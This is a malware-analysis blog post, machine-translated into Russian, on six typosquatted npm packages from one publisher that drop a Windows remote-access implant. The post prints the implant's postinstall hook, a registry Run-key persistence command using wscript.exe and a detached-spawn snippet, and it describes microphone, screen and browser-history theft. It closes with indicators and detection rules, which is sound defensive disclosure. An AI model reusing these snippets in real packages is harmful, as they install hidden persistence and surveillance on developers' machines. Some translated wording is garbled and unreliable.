DevTap npm Typosquatting Attack

Атака с использованием метода тайпсквоттинга в npm от DevTap: шесть вредоносных пакетов нацелены на рабочие станции разработчиков.

TL, д-р

В период с 1 апреля по 3 мая 2026 года один издатель npm, user0001зарегистрирован с неподтвержденным адресом Gmail. tanvisoul9@gmail.comВтайне продали шесть пакетов с намеренно невзрачными названиями, напоминающими названия объектов инфраструктуры: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime и node-env-resolve.

Последние две версии node-env-resolveВерсии 1.0.7 и 1.0.8 были отмечены системой раннего предупреждения о вредоносных программах (MEW) компании Xygeni 2 мая и подтверждены как вредоносные 3 мая.

Этот имплант необычен тем, чем он не является: в нём нет Telegram-ботов, нет OAST-коллбэков, нет затемнениеи никаких попыток получить учетные данные AWS во время установки. Вместо этого, postinstall.js Создает запись, обеспечивающую постоянное сохранение настроек загрузки Windows, используя ключ запуска HKCU Run, который запускает... wscript.exe Затем запускается отдельный агент Node.js, который включает модули для захвата микрофона, кражи истории браузера, создания скриншотов и имитации мыши/клавиатуры.

Мы называем это кластером. DevTapПосле установки комплекта программа продолжает работать на компьютере разработчика.

На момент написания статьи все шесть пакетов были доступны в npm. Мы отправили их в канал для жалоб реестра. Защитникам репозитория следует удалить все установленные пакеты от издателя до момента их удаления.

Кластер: шесть пакетов, один издатель

Учётная запись издателя user0001 Это не проверено. У этого нет... SCM Подтверждение личности, отсутствие электронной почты, привязанной к домену, и отсутствие предыдущей истории. Указание имени пользователя Gmail. tanvisoul9 Этот параметр не встречается ни в одной другой записи npm publisher, которую нам удалось найти.

Все шесть пакетов имеют одного и того же сопровождающего, были опубликованы с одной и той же учетной записи и используют один и тот же идентификатор. package.json Стандартный текст отсутствует. repository, Не homepage, и нет description длиннее одной строки.

Стратегия именования — вот что наиболее интересно. В отличие от классической кампании по созданию путаницы в зависимостях или кампаний с использованием опечаток, ни одно из этих имен не нацелено на конкретную библиотеку из исходного кода. Вместо этого они подобраны таким образом, чтобы незаметно сливаться с реальной библиотекой. package.json or npm ls вывод.

Упаковка Первый опубликованный Последняя версия Версии Роль в кластере
центральный логгер 2026-04-01 12:46 UTC 1.0.9 5, от 1.0.5 до 1.0.9 Обложка «утилиты ведения журналов» Cluster; самая ранняя публикация.
dom-utils-lite 2026-04-14 07:36 UTC 1.0.3 3 Универсальная вспомогательная оболочка DOM
node-fetch-lite 2026-04-19 10:22 UTC 1.0.2 3 Имитирует семейство node-fetch
коннектор-агент 2026-04-25 05:12 UTC 1.0.0 1 Общее название «агент»
node-gyp-runtime 2026-04-25 05:17 UTC 1.0.0 1 Имитирует инструменты сборки нативных модулей.
node-env-resolve 2026-04-25 05:21 UTC 1.0.9 10, от 1.0.0 до 1.0.9 Активный капельный фильтр; полная имплантация

Имена, подобные centralogger, node-fetch-lite и node-gyp-runtime Они разработаны таким образом, чтобы не вызывать споров при проверке кода. Они звучат так, будто уже присутствуют в дереве зависимостей проекта.

В сочетании с новым, непроверенным издателем и отсутствующими ссылками на репозиторий, они образуют узнаваемую схему: субъект вносит в реестр имена, не требующие особого внимания, а затем быстро обновляет то, которое имеет значение. В данном случае, node-env-resolve За восемь дней получили десять версий.

Что попадает на компьютер разработчика под управлением Windows?

Злонамеренная цепочка на node-env-resolve:1.0.8 Он короткий, понятный и необычайно многофункциональный для npm RAT.

После установки: Сохранение состояния и отключенный агент

package.json объявляет единственный хук установки:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js выполняет три действия в указанном порядке.

Во-первых, скрипт подготавливает каталог установки вне дерева npm. Путь вычисляется во время выполнения скрипта следующим образом: INSTALL_DIRЗатем запускается внутренняя программа. execSync('npm install --production --silent ...') внутри него происходит загрузка зависимостей среды выполнения имплантата. Это помещает агент на диск в каком-то ручном режиме. node_modules Аудит ничего не обнаружит.

Во-вторых, он создает VBS-файл запуска и регистрирует его для обеспечения постоянной загрузки:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
    /v ${AGENT_NAME} \
    /t REG_SZ \
    /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host — это подписанный исполняемый файл Microsoft, который запускает .vbs файлы без окна консоли. Это предварительные файлы.cisПочему именно его предпочитают использовать в качестве заглушек для автозапуска.

Также есть подходящий вариант. reg delete путь внутри src/index.jsЭто позволяет предположить, что имплантат разработан таким образом, чтобы его можно было легко удалить по команде оператора.

Во-третьих, это порождает отдельный дочерний процесс:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
  detached: true,
  env: { ...process.env, SERVER_URL }
})

Здесь важны две детали.

SERVER_URL считывается из окружения. В результате конечная точка C2 настраивается для каждого развертывания и не встроена в пакет. Этот небольшой, но преднамеренный выбор сводит на нет большинство проверок статическими индикаторами компрометации.

Кроме того, созданный дочерний элемент наследует всю родительскую среду. Следовательно, любой NPM_TOKEN, AWS_*, GITHUB_TOKENили же сокет SSH-агента, присутствующий в оболочке разработчика во время установки, перемещается в память долгоживущего агента.

Что отправляет агент

В комплекте src/ Дерево включает три модуля, названия которых говорят сами за себя: audioCapture.js, browserHistory.js и systemInfo.js.

Список зависимостей среды выполнения, разрешенный на этапе поэтапного выполнения. npm installподтверждает их.

Такой подход превращает хаотичный инцидент в контролируемый ответ.

Вместо того чтобы реагировать вслепую, команды действуют следующим образом: Четкая расстановка приоритетов и быстрое устранение проблем.

Зависимость Для чего это нужно в данном контексте
скриншот-рабочий стол Периодическая запись экрана
@nut-tree-fork/nut-js Автоматизация мыши и клавиатуры / имитация ввода
лучше-sqlite3 Прямое чтение баз данных SQLite истории браузеров Chrome, Edge и Firefox.
adm-zip Объединение собранных артефактов перед их вывозом.
острый Изменение размера/сжатие скриншотов и артефактов изображения.
Socket.io-клиент Постоянный двунаправленный канал C2
node-machine-id Стабильный индивидуальный отпечаток для отслеживания жертв.

systemInfo.js призывы os.networkInterfaces() для дополнительной дактилоскопии перед первым маяком.

Почему запись звука является лучшим сигналом

Большинство npm-RAT-программ, которые мы обрабатываем в MEW, останавливаются на краже секретной информации во время установки. Они читаются следующим образом: ~/.npmrc, Читать ~/.aws/credentials, царапина process.envОтправьте POST-запрос на веб-хук и завершите работу. Это соответствует экономической модели «быстрого захвата». Учетные данные имеют короткий срок действия, и злоумышленнику нужно быстро монетизировать их.

node-env-resolve отличается по форме.

Настройка сохранения состояния позволяет сохранить систему после перезагрузки. Агент работает в автономном режиме и обеспечивает длительное время работы в фоновом режиме. wscript.exeКомплект, который он содержит, предназначен для использования на компьютере разработчика, а не для того, чтобы его можно было быстро взять и оставить: диктофон для микрофона, драйвер клавиатуры/мыши, полная запись истории браузера, захват экрана и интерактивный канал Socket.IO для связи с настраиваемым C2-сервером.

В частности, захват микрофона — это та грань, которую пересекает эта кампания, чего не делают большинство вредоносных программ, использующих npm.

Рабочее место разработчика все чаще становится также рабочим местом, где разработчики проводят ежедневные совещания, звонят клиентам, обсуждают дизайн и дежурят по вызову. Встроенный модуль, записывающий микрофон, на самом деле не стремится получить токен npm разработчика. Он стремится получить то, что разработчик говорит перед ноутбуком.

Такой набор возможностей, а также отсутствие обфускации и каких-либо эффектных утечек данных во время установки, создают впечатление предварительной подготовки к целенаправленному доступу, а не кражи учетных данных по случаю.

Мы не делаем выводов, основываясь только на этом. Мы отмечаем оперативный профиль.

Атака с использованием опечаток в npm - DevTab

Восьмидневный цикл итераций по node-env-resolve Это наиболее показательная с оперативной точки зрения деталь в хронологии событий.

Это не тот случай, когда достаточно запустить и забыть. Издатель активно поддерживает программу для скачивания, что обычно означает одно из двух: либо они настраивают её на тестовых средах перед более широким развертыванием, либо у них уже есть данные телеметрии об установках, и они реагируют на них.

Остальные пять пакетов практически не претерпели изменений после первоначальной публикации. Это соответствует схеме «разместить один раз, оставить название» для поддерживающего кластера, в то время как инженерные усилия сосредоточены на пакете, который выполняет основную работу.

Источник: Небольшие подсказки, окончательный вывод отсутствует.

Общая OSINT Сигналы тонкие, и мы не будем их растягивать. Что можно наблюдать:

Учетная запись Gmail tanvisoul9 Частично напоминает южноазиатское имя «Танви». Это слабый сигнал. Имена в Gmail не являются идентификационными данными, и в конце следует... soul9 Это общий термин. Небезопасно делать выводы о географическом местоположении, основываясь только на адресе электронной почты (local-part).

Стиль кода Node.js ничем не примечателен: standard звонки в библиотеку, например os, child_process, spawn и reg addЗдесь нет обфускации, нет ротации строк и нет логики защиты от отладки. Автор хорошо разбирается в примитивах реестра Windows и оркестрации отсоединенных дочерних процессов, но, похоже, не стремится к более скрытным методам, которые он мог бы использовать.

Все необходимые зависимости являются стандартными и хорошо известными: screenshot-desktop, nut-js, better-sqlite3 и socket.io-clientЗдесь нет собственного протокола, нет разработанного с нуля стека C2 и нет никаких новых способов обеспечения постоянного доступа, кроме тех, что описаны в учебниках. Ключ запуска HKCUЭто компетентный интегратор, а не разработчик инструментов.

В опубликованных материалах мы не обнаружили строк, содержащих неанглийские слова, встроенных комментариев, данных о локали или отпечатков часовых поясов, полученных компилятором.

Мы проверили наличие дублирования кода с предыдущими кампаниями, которые мы уже отслеживаем, включая Шай-Хулуд, Оуливион, Buildkite и недавний heibai / claude-code-best Семейство клонов Anthropic-CLI. Мы ничего подобного не обнаружили: нет общих шаблонов управления и контроля, нет общих структур файлов и нет общих идиом.

Чего мы бы не сказали: что это государственный субъект, известная группа или что это географически связано с какой-либо конкретной страной.

Операционный профиль соответствует небольшой команде специалистов среднего уровня квалификации, занимающихся наблюдением за рабочими станциями разработчиков. Вероятно, это мотивировано финансовыми соображениями, связанными с последующим использованием доступа, но, возможно, также и предоставлением разведывательных услуг отдельному покупателю.

В подтверждение этого можно привести два косвенных аргумента: избегание привлекающих внимание механизмов утечки данных, которые быстро приведут к закрытию кластера, таких как боты в Telegram, oastify.comили canarytokens, а также намеренно неброские названия пакетов, которые отдают предпочтение тихим установкам с большим объемом запросов, а не кратковременному всплеску активности.

Индикаторы компрометации и обнаружения

Пакеты и издатель
Поиск Значение
издатель npm user0001
Электронное письмо издателя tanvisoul9@gmail.com, непроверено
Packages centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Подтверждено наличие вредоносного кода. node-env-resolve@1.0.7, node-env-resolve@1.0.8
Артефакты хоста
Тип Значение
Ключ сохранения HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
Значение устойчивости Имя переменной; данные в формате wscript.exe " \\ .vbs"
Установить крючок postinstall: добавьте файл postinstall.js в манифест пакета.
Имплантационные модули src/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Временный каталог Параметр INSTALL_DIR определяется вне папки node_modules проекта; местоположение задается файлом postinstall.js во время установки.
Cеть
Тип Значение
Транспорт C2 socket.io-client, постоянный двунаправленный канал
Конечная точка C2 Предоставляется агенту через переменную среды SERVER_URL; не закодирована жестко в опубликованных артефактах.

Заметки об обнаружении

Два правила позволяют обнаружить это семейство без необходимости использования конечной точки C2.

Во-первых, отметьте скрипты postinstall, которые выполняют внутреннюю операцию. npm install в путь за пределами каталога самого пакета. Любой легитимный загрузчик предварительно собранных пакетов, например... node-gyp пересобирает или загружает предварительно собранные бинарные файлы, записывает данные внутрь пакета или в платформу.standard Пути кэша с проверенными хешами. Запись не производится в только что созданный кэш. INSTALL_DIR в другом месте на диске.

Во-вторых, отметьте скрипты postinstall, которые вызывают ошибки. reg add HKCU\…\Run с wscript.exe В качестве лаунчера. Это практически никогда не является легитимным использованием из npm-пакета. Пометьте и поместите в карантин.

Третий эвристический метод полезен для обнаружения следующего пакета-близнеца до его подтверждения: новый издатель npm без SCM подтверждение, адрес электронной почты Gmail, нет repository Наличие поля и множества коротких, общих, звучащих как названия инфраструктурных пакетов, опубликованных с разницей в несколько дней, само по себе достаточно для того, чтобы оправдать ручную проверку.

Сообщение отправлено в реестр npm. Мы обновим эту запись, когда учетная запись издателя будет удалена.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
7-дневная бесплатная пробная версия
Кредитная карта не требуется.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni